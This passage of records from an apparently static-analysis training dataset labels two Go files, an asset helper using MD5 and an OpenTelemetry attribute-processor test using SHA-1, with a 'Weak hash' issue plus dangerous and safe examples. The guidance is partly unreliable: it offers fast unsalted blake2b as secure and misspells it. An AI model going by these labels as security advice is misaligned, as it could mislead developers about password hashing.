shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package binary\n\nimport (\n\t\"bufio\"\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\n// Asset holds file information\ntype Asset struct {\n\tpath string\n\tname string\n}\n\n// NewAsset creates gzip compressed asset\nfunc NewAsset(path, name string) *Asset {\n\treturn &Asset{path, name}\n}\n\n// Dirpath returns the directory path of the file\nfunc (v *Asset) Dirpath() string {\n\treturn filepath.Dir(v.path)\n}\n\n// Filename returns the filename with extension\nfunc (v *Asset) Filename() string {\n\treturn v.name\n}\n\n// Relpath returns file relative path\nfunc (v *Asset) Relpath() string {\n\tpwd, err := os.Getwd()\n\tif err != nil {\n\t\treturn v.path\n\t}\n\trel, err := filepath.Rel(pwd, v.path)\n\tif err != nil {\n\t\treturn v.path\n\t}\n\treturn rel\n}\n\n// Filepath returns the full file path\nfunc (v *Asset) Filepath() string {\n\treturn v.path\n}\n\n// Pipe data\nfunc (v *Asset) Pipe() <-chan []byte {\n\tfe, err := os.Open(v.path)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tfi, err := fe.Stat()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\trd := bufio.NewReader(fe)\n\tch := make(chan []byte, 1)\n\tgo func() {\n\t\tdefer fe.Close()\n\t\tdefer close(ch)\n\t\tbuf := make([]byte, fi.Size())\n\t\t_, err := rd.Read(buf)\n\t\tif err != nil && err != io.EOF {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tch <- buf\n\t}()\n\treturn ch\n}\n\n// Size returns asset size\nfunc (v *Asset) Size() int64 {\n\tfe, err := os.Open(v.path)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer fe.Close()\n\tfi, err := fe.Stat()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn fi.Size()\n}\n\n// Md5 returns md5 hash\nfunc (v *Asset) Md5() (string, error) {\n\tfe, err := os.Open(v.path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfi, err := fe.Stat()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tch := make(chan string, 1)\n\tgo func() {\n\t\tdefer fe.Close()\n\t\tb := make([]byte, fi.Size())\n\t\tfe.Read(b)\n\t\tsum := md5.New()\n\t\tsum.Write(b)\n\t\tch <- hex.EncodeToString(sum.Sum(nil))\n\t}()\n\treturn <-ch, nil\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "74d802a61c4c8d1b2eb262d3ffcb8b5b866763e8d6a89f532339a509af9cc96b", "license": {"spdx": ["Apache-2.0"], "repo": "kangxiangzhi/opentelemetry-collector-contrib", "path": "internal/coreinternal/attraction/attraction_test.go", "repo_head_hexsha": "d607ce4ff34fc134128cd3bda81ea095fceb077a", "stack_hexsha": "35e8f2bb71b280a52612717576f4e98cd15095a0", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 19, "entireCode": "// Copyright The OpenTelemetry Authors\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage attraction\n\nimport (\n\t\"context\"\n\t\"crypto/sha1\" // #nosec\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"math\"\n\t\"regexp\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\t\"go.opentelemetry.io/collector/client\"\n\t\"go.opentelemetry.io/collector/model/pdata\"\n)\n\n// Common structure for all the Tests\ntype testCase struct {\n\tname string\n\tinputAttributes map[string]pdata.AttributeValue\n\texpectedAttributes map[string]pdata.AttributeValue\n}\n\n// runIndividualTestCase is the common logic of passing trace data through a configured attributes processor.\nfunc runIndividualTestCase(t *testing.T, tt testCase, ap *AttrProc) {\n\tt.Run(tt.name, func(t *testing.T) {\n\t\tattrMap := pdata.NewAttributeMapFromMap(tt.inputAttributes)\n\t\tap.Process(context.TODO(), nil, attrMap)\n\t\tattrMap.Sort()\n\t\trequire.Equal(t, pdata.NewAttributeMapFromMap(tt.expectedAttributes).Sort(), attrMap)\n\t})\n}\n\nfunc TestAttributes_InsertValue(t *testing.T) {\n\ttestCases := []testCase{\n\t\t// Ensure `attribute1` is set for spans with no attributes.\n\t\t{\n\t\t\tname: \"InsertEmptyAttributes\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"attribute1\": pdata.NewAttributeValueInt(123),\n\t\t\t},\n\t\t},\n\t\t// Ensure `attribute1` is set.\n\t\t{\n\t\t\tname: \"InsertKeyNoExists\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"anotherkey\": pdata.NewAttributeValueString(\"bob\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"anotherkey\": pdata.NewAttributeValueString(\"bob\"),\n\t\t\t\t\"attribute1\": pdata.NewAttributeValueInt(123),\n\t\t\t},\n\t\t},\n\t\t// Ensures no insert is performed because the keys `attribute1` already exists.\n\t\t{\n\t\t\tname: \"InsertKeyExists\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"attribute1\": pdata.NewAttributeValueString(\"bob\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"attribute1\": pdata.NewAttributeValueString(\"bob\"),\n\t\t\t},\n\t\t},\n\t}\n\n\tcfg := &Settings{\n\t\tActions: []ActionKeyValue{\n\t\t\t{Key: \"attribute1\", Action: INSERT, Value: 123},\n\t\t},\n\t}\n\n\tap, err := NewAttrProc(cfg)\n\trequire.Nil(t, err)\n\trequire.NotNil(t, ap)\n\n\tfor _, tt := range testCases {\n\t\trunIndividualTestCase(t, tt, ap)\n\t}\n}\n\nfunc TestAttributes_InsertFromAttribute(t *testing.T) {\n\n\ttestCases := []testCase{\n\t\t// Ensure no attribute is inserted because because attributes do not exist.\n\t\t{\n\t\t\tname: \"InsertEmptyAttributes\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{},\n\t\t},\n\t\t// Ensure no attribute is inserted because because from_attribute `string_key` does not exist.\n\t\t{\n\t\t\tname: \"InsertMissingFromAttribute\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"bob\": pdata.NewAttributeValueInt(1),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"bob\": pdata.NewAttributeValueInt(1),\n\t\t\t},\n\t\t},\n\t\t// Ensure `string key` is set.\n\t\t{\n\t\t\tname: \"InsertAttributeExists\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"anotherkey\": pdata.NewAttributeValueInt(8892342),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"anotherkey\": pdata.NewAttributeValueInt(8892342),\n\t\t\t\t\"string key\": pdata.NewAttributeValueInt(8892342),\n\t\t\t},\n\t\t},\n\t\t// Ensures no insert is performed because the keys `string key` already exist.\n\t\t{\n\t\t\tname: \"InsertKeysExists\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"anotherkey\": pdata.NewAttributeValueInt(8892342),\n\t\t\t\t\"string key\": pdata.NewAttributeValueString(\"here\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"anotherkey\": pdata.NewAttributeValueInt(8892342),\n\t\t\t\t\"string key\": pdata.NewAttributeValueString(\"here\"),\n\t\t\t},\n\t\t},\n\t}\n\tcfg := &Settings{\n\t\tActions: []ActionKeyValue{\n\t\t\t{Key: \"string key\", Action: INSERT, FromAttribute: \"anotherkey\"},\n\t\t},\n\t}\n\n\tap, err := NewAttrProc(cfg)\n\trequire.Nil(t, err)\n\trequire.NotNil(t, ap)\n\n\tfor _, tt := range testCases {\n\t\trunIndividualTestCase(t, tt, ap)\n\t}\n}\n\nfunc TestAttributes_UpdateValue(t *testing.T) {\n\n\ttestCases := []testCase{\n\t\t// Ensure no changes to the span as there is no attributes map.\n\t\t{\n\t\t\tname: \"UpdateNoAttributes\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{},\n\t\t},\n\t\t// Ensure no changes to the span as the key does not exist.\n\t\t{\n\t\t\tname: \"UpdateKeyNoExist\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"foo\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"foo\"),\n\t\t\t},\n\t\t},\n\t\t// Ensure the attribute `db.secret` is updated.\n\t\t{\n\t\t\tname: \"UpdateAttributes\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"db.secret\": pdata.NewAttributeValueString(\"\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"db.secret\": pdata.NewAttributeValueString(\"redacted\"),\n\t\t\t},\n\t\t},\n\t}\n\n\tcfg := &Settings{\n\t\tActions: []ActionKeyValue{\n\t\t\t{Key: \"db.secret\", Action: UPDATE, Value: \"redacted\"},\n\t\t},\n\t}\n\n\tap, err := NewAttrProc(cfg)\n\trequire.Nil(t, err)\n\trequire.NotNil(t, ap)\n\n\tfor _, tt := range testCases {\n\t\trunIndividualTestCase(t, tt, ap)\n\t}\n}\n\nfunc TestAttributes_UpdateFromAttribute(t *testing.T) {\n\n\ttestCases := []testCase{\n\t\t// Ensure no changes to the span as there is no attributes map.\n\t\t{\n\t\t\tname: \"UpdateNoAttributes\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{},\n\t\t},\n\t\t// Ensure the attribute `boo` isn't updated because attribute `foo` isn't present in the span.\n\t\t{\n\t\t\tname: \"UpdateKeyNoExistFromAttribute\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"bob\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"bob\"),\n\t\t\t},\n\t\t},\n\t\t// Ensure no updates as the target key `boo` doesn't exists.\n\t\t{\n\t\t\tname: \"UpdateKeyNoExistMainAttributed\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"over there\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"over there\"),\n\t\t\t},\n\t\t},\n\t\t// Ensure no updates as the target key `boo` doesn't exists.\n\t\t{\n\t\t\tname: \"UpdateKeyFromExistingAttribute\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"there is a party over here\"),\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"not here\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"there is a party over here\"),\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"there is a party over here\"),\n\t\t\t},\n\t\t},\n\t}\n\n\tcfg := &Settings{\n\t\tActions: []ActionKeyValue{\n\t\t\t{Key: \"boo\", Action: UPDATE, FromAttribute: \"foo\"},\n\t\t},\n\t}\n\n\tap, err := NewAttrProc(cfg)\n\trequire.Nil(t, err)\n\trequire.NotNil(t, ap)\n\n\tfor _, tt := range testCases {\n\t\trunIndividualTestCase(t, tt, ap)\n\t}\n}\n\nfunc TestAttributes_UpsertValue(t *testing.T) {\n\ttestCases := []testCase{\n\t\t// Ensure `region` is set for spans with no attributes.\n\t\t{\n\t\t\tname: \"UpsertNoAttributes\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"region\": pdata.NewAttributeValueString(\"planet-earth\"),\n\t\t\t},\n\t\t},\n\t\t// Ensure `region` is inserted for spans with some attributes(the key doesn't exist).\n\t\t{\n\t\t\tname: \"UpsertAttributeNoExist\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"mission\": pdata.NewAttributeValueString(\"to mars\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"mission\": pdata.NewAttributeValueString(\"to mars\"),\n\t\t\t\t\"region\": pdata.NewAttributeValueString(\"planet-earth\"),\n\t\t\t},\n\t\t},\n\t\t// Ensure `region` is updated for spans with the attribute key `region`.\n\t\t{\n\t\t\tname: \"UpsertAttributeExists\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"mission\": pdata.NewAttributeValueString(\"to mars\"),\n\t\t\t\t\"region\": pdata.NewAttributeValueString(\"solar system\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"mission\": pdata.NewAttributeValueString(\"to mars\"),\n\t\t\t\t\"region\": pdata.NewAttributeValueString(\"planet-earth\"),\n\t\t\t},\n\t\t},\n\t}\n\n\tcfg := &Settings{\n\t\tActions: []ActionKeyValue{\n\t\t\t{Key: \"region\", Action: UPSERT, Value: \"planet-earth\"},\n\t\t},\n\t}\n\n\tap, err := NewAttrProc(cfg)\n\trequire.Nil(t, err)\n\trequire.NotNil(t, ap)\n\n\tfor _, tt := range testCases {\n\t\trunIndividualTestCase(t, tt, ap)\n\t}\n}\n\nfunc TestAttributes_Extract(t *testing.T) {\n\ttestCases := []testCase{\n\t\t// Ensure `new_user_key` is not set for spans with no attributes.\n\t\t{\n\t\t\tname: \"UpsertEmptyAttributes\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{},\n\t\t},\n\t\t// Ensure `new_user_key` is not inserted for spans with missing attribute `user_key`.\n\t\t{\n\t\t\tname: \"No extract with no target key\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"ghosts are scary\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"ghosts are scary\"),\n\t\t\t},\n\t\t},\n\t\t// Ensure `new_user_key` is not inserted for spans with missing attribute `user_key`.\n\t\t{\n\t\t\tname: \"No extract with non string target key\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"ghosts are scary\"),\n\t\t\t\t\"user_key\": pdata.NewAttributeValueInt(1234),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"ghosts are scary\"),\n\t\t\t\t\"user_key\": pdata.NewAttributeValueInt(1234),\n\t\t\t},\n\t\t},\n\t\t// Ensure `new_user_key` is not updated for spans with attribute\n\t\t// `user_key` because `user_key` does not match the regular expression.\n\t\t{\n\t\t\tname: \"No extract with no pattern matching\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"user_key\": pdata.NewAttributeValueString(\"does not match\"),\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"ghosts are scary\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"user_key\": pdata.NewAttributeValueString(\"does not match\"),\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"ghosts are scary\"),\n\t\t\t},\n\t\t},\n\t\t// Ensure `new_user_key` is not updated for spans with attribute\n\t\t// `user_key` because `user_key` does not match all of the regular\n\t\t// expression.\n\t\t{\n\t\t\tname: \"No extract with no pattern matching\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"user_key\": pdata.NewAttributeValueString(\"/api/v1/document/12345678/update\"),\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"ghosts are scary\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"user_key\": pdata.NewAttributeValueString(\"/api/v1/document/12345678/update\"),\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"ghosts are scary\"),\n\t\t\t},\n\t\t},\n\t\t// Ensure `new_user_key` and `version` is inserted for spans with attribute `user_key`.\n\t\t{\n\t\t\tname: \"Extract insert new values.\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"user_key\": pdata.NewAttributeValueString(\"/api/v1/document/12345678/update/v1\"),\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"user_key\": pdata.NewAttributeValueString(\"/api/v1/document/12345678/update/v1\"),\n\t\t\t\t\"new_user_key\": pdata.NewAttributeValueString(\"12345678\"),\n\t\t\t\t\"version\": pdata.NewAttributeValueString(\"v1\"),\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t},\n\t\t},\n\t\t// Ensure `new_user_key` and `version` is updated for spans with attribute `user_key`.\n\t\t{\n\t\t\tname: \"Extract updates existing values \",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"user_key\": pdata.NewAttributeValueString(\"/api/v1/document/12345678/update/v1\"),\n\t\t\t\t\"new_user_key\": pdata.NewAttributeValueString(\"2321\"),\n\t\t\t\t\"version\": pdata.NewAttributeValueString(\"na\"),\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"user_key\": pdata.NewAttributeValueString(\"/api/v1/document/12345678/update/v1\"),\n\t\t\t\t\"new_user_key\": pdata.NewAttributeValueString(\"12345678\"),\n\t\t\t\t\"version\": pdata.NewAttributeValueString(\"v1\"),\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t},\n\t\t},\n\t\t// Ensure `new_user_key` is updated and `version` is inserted for spans with attribute `user_key`.\n\t\t{\n\t\t\tname: \"Extract upserts values\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"user_key\": pdata.NewAttributeValueString(\"/api/v1/document/12345678/update/v1\"),\n\t\t\t\t\"new_user_key\": pdata.NewAttributeValueString(\"2321\"),\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"user_key\": pdata.NewAttributeValueString(\"/api/v1/document/12345678/update/v1\"),\n\t\t\t\t\"new_user_key\": pdata.NewAttributeValueString(\"12345678\"),\n\t\t\t\t\"version\": pdata.NewAttributeValueString(\"v1\"),\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t},\n\t\t},\n\t}\n\n\tcfg := &Settings{\n\t\tActions: []ActionKeyValue{\n\n\t\t\t{Key: \"user_key\", RegexPattern: \"^\\\\/api\\\\/v1\\\\/document\\\\/(?P.*)\\\\/update\\\\/(?P.*)$\", Action: EXTRACT},\n\t\t},\n\t}\n\n\tap, err := NewAttrProc(cfg)\n\trequire.Nil(t, err)\n\trequire.NotNil(t, ap)\n\n\tfor _, tt := range testCases {\n\t\trunIndividualTestCase(t, tt, ap)\n\t}\n}\n\nfunc TestAttributes_UpsertFromAttribute(t *testing.T) {\n\n\ttestCases := []testCase{\n\t\t// Ensure `new_user_key` is not set for spans with no attributes.\n\t\t{\n\t\t\tname: \"UpsertEmptyAttributes\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{},\n\t\t},\n\t\t// Ensure `new_user_key` is not inserted for spans with missing attribute `user_key`.\n\t\t{\n\t\t\tname: \"UpsertFromAttributeNoExist\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"ghosts are scary\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"ghosts are scary\"),\n\t\t\t},\n\t\t},\n\t\t// Ensure `new_user_key` is inserted for spans with attribute `user_key`.\n\t\t{\n\t\t\tname: \"UpsertFromAttributeExistsInsert\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"user_key\": pdata.NewAttributeValueInt(2245),\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"user_key\": pdata.NewAttributeValueInt(2245),\n\t\t\t\t\"new_user_key\": pdata.NewAttributeValueInt(2245),\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t},\n\t\t},\n\t\t// Ensure `new_user_key` is updated for spans with attribute `user_key`.\n\t\t{\n\t\t\tname: \"UpsertFromAttributeExistsUpdate\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"user_key\": pdata.NewAttributeValueInt(2245),\n\t\t\t\t\"new_user_key\": pdata.NewAttributeValueInt(5422),\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"user_key\": pdata.NewAttributeValueInt(2245),\n\t\t\t\t\"new_user_key\": pdata.NewAttributeValueInt(2245),\n\t\t\t\t\"foo\": pdata.NewAttributeValueString(\"casper the friendly ghost\"),\n\t\t\t},\n\t\t},\n\t}\n\n\tcfg := &Settings{\n\t\tActions: []ActionKeyValue{\n\t\t\t{Key: \"new_user_key\", Action: UPSERT, FromAttribute: \"user_key\"},\n\t\t},\n\t}\n\n\tap, err := NewAttrProc(cfg)\n\trequire.Nil(t, err)\n\trequire.NotNil(t, ap)\n\n\tfor _, tt := range testCases {\n\t\trunIndividualTestCase(t, tt, ap)\n\t}\n}\n\nfunc TestAttributes_Delete(t *testing.T) {\n\ttestCases := []testCase{\n\t\t// Ensure the span contains no changes.\n\t\t{\n\t\t\tname: \"DeleteEmptyAttributes\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{},\n\t\t},\n\t\t// Ensure the span contains no changes because the key doesn't exist.\n\t\t{\n\t\t\tname: \"DeleteAttributeNoExist\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"ghosts are scary\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"ghosts are scary\"),\n\t\t\t},\n\t\t},\n\t\t// Ensure `duplicate_key` is deleted for spans with the attribute set.\n\t\t{\n\t\t\tname: \"DeleteAttributeExists\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"duplicate_key\": pdata.NewAttributeValueDouble(3245.6),\n\t\t\t\t\"original_key\": pdata.NewAttributeValueDouble(3245.6),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"original_key\": pdata.NewAttributeValueDouble(3245.6),\n\t\t\t},\n\t\t},\n\t}\n\n\tcfg := &Settings{\n\t\tActions: []ActionKeyValue{\n\t\t\t{Key: \"duplicate_key\", Action: DELETE},\n\t\t},\n\t}\n\n\tap, err := NewAttrProc(cfg)\n\trequire.Nil(t, err)\n\trequire.NotNil(t, ap)\n\n\tfor _, tt := range testCases {\n\t\trunIndividualTestCase(t, tt, ap)\n\t}\n}\n\nfunc TestAttributes_HashValue(t *testing.T) {\n\n\tintVal := int64(24)\n\tintBytes := make([]byte, int64ByteSize)\n\tbinary.LittleEndian.PutUint64(intBytes, uint64(intVal))\n\n\tdoubleVal := 2.4\n\tdoubleBytes := make([]byte, float64ByteSize)\n\tbinary.LittleEndian.PutUint64(doubleBytes, math.Float64bits(doubleVal))\n\n\ttestCases := []testCase{\n\t\t// Ensure no changes to the span as there is no attributes map.\n\t\t{\n\t\t\tname: \"HashNoAttributes\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{},\n\t\t},\n\t\t// Ensure no changes to the span as the key does not exist.\n\t\t{\n\t\t\tname: \"HashKeyNoExist\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"foo\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"boo\": pdata.NewAttributeValueString(\"foo\"),\n\t\t\t},\n\t\t},\n\t\t// Ensure string data types are hashed correctly\n\t\t{\n\t\t\tname: \"HashString\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"updateme\": pdata.NewAttributeValueString(\"foo\"),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"updateme\": pdata.NewAttributeValueString(sha1Hash([]byte(\"foo\"))),\n\t\t\t},\n\t\t},\n\t\t// Ensure int data types are hashed correctly\n\t\t{\n\t\t\tname: \"HashInt\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"updateme\": pdata.NewAttributeValueInt(intVal),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"updateme\": pdata.NewAttributeValueString(sha1Hash(intBytes)),\n\t\t\t},\n\t\t},\n\t\t// Ensure double data types are hashed correctly\n\t\t{\n\t\t\tname: \"HashDouble\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"updateme\": pdata.NewAttributeValueDouble(doubleVal),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"updateme\": pdata.NewAttributeValueString(sha1Hash(doubleBytes)),\n\t\t\t},\n\t\t},\n\t\t// Ensure bool data types are hashed correctly\n\t\t{\n\t\t\tname: \"HashBoolTrue\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"updateme\": pdata.NewAttributeValueBool(true),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"updateme\": pdata.NewAttributeValueString(sha1Hash([]byte{1})),\n\t\t\t},\n\t\t},\n\t\t// Ensure bool data types are hashed correctly\n\t\t{\n\t\t\tname: \"HashBoolFalse\",\n\t\t\tinputAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"updateme\": pdata.NewAttributeValueBool(false),\n\t\t\t},\n\t\t\texpectedAttributes: map[string]pdata.AttributeValue{\n\t\t\t\t\"updateme\": pdata.NewAttributeValueString(sha1Hash([]byte{0})),\n\t\t\t},\n\t\t},\n\t}\n\n\tcfg := &Settings{\n\t\tActions: []ActionKeyValue{\n\t\t\t{Key: \"updateme\", Action: HASH},\n\t\t},\n\t}\n\n\tap, err := NewAttrProc(cfg)\n\trequire.Nil(t, 